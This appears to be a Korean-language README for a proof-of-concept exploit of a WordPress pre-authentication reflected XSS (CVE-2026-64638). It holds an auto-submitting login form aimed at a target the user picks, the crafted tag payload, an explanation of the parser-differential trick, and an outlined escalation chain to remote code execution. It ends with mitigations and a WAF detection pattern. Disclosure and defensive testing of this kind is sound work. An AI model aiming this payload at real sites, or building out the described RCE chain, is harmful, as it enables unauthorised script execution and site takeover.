XSS2Shell Alert PoC (CVE-2026-64638)

WordPress 사전 인증 반사형 XSS 개념 증명

WordPress 코어의 CVE-2026-64638(XSS2Shell) 파서 차등 XSS에 대한 단일 파일 HTML 개념 증명입니다. 조작된 로그인 요청을 통해 WordPress 오리진에서 인증되지 않은 JavaScript 실행을 시연합니다.

취약점 정보

CVE: CVE-2026-64638 (XSS2Shell)
유형: 사전 인증 반사형 XSS(파서 차등: strip_tags() 대 wp_kses_post())
권한 상승: RCE로 연계 가능(DOM 클로버링 → REST JSONP → SOME → 애플리케이션 비밀번호 → 플러그인 업로드)
영향 범위: WordPress 6.4 – 7.0.2(실질적으로 악용 가능한 범위)
수정 버전: WordPress 7.0.3(유지 관리 중인 4.7까지의 브랜치로 백포트됨)

사용 방법

텍스트 편집기에서 POC.html을 엽니다.
폼 action의 http://TARGET/wp-login.php를 대상 URL로 바꿉니다.

<form id="poc" method="post" action="http://TARGET/wp-login.php">

브라우저에서 파일을 엽니다. 폼이 자동으로 제출되며, 대상이 취약하면 WordPress 오리진에서 confirm()(또는 alert()) 팝업이 실행됩니다.

PoC 페이로드

< area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=confirm&_envelope=1>
< div id=color-picker class=reset-pass-submit>
< button class="wp-generate-pw color-option">X

각 < 뒤의 공백이 악용 포인트입니다. 공백이 없으면 wp_strip_all_tags()가 전부 제거합니다.

요구 사항

취약한 WordPress 설치본(6.4 – 7.0.2, 패치되지 않은 버전)
JavaScript가 활성화된 브라우저
도구 의존성 없음(순수 HTML)

탐지 / 완화

WordPress 7.0.3 또는 패치된 브랜치로 업그레이드하세요.
패치 후 기존 애플리케이션 비밀번호를 모두 취소/교체하세요.
WAF/엣지에서 log 필드의 %3C + 공백 패턴을 차단하세요.
log에 인코딩된 <가 포함된 POST /wp-login.php 요청을 모니터링하세요.

CVE-2026-64638

인기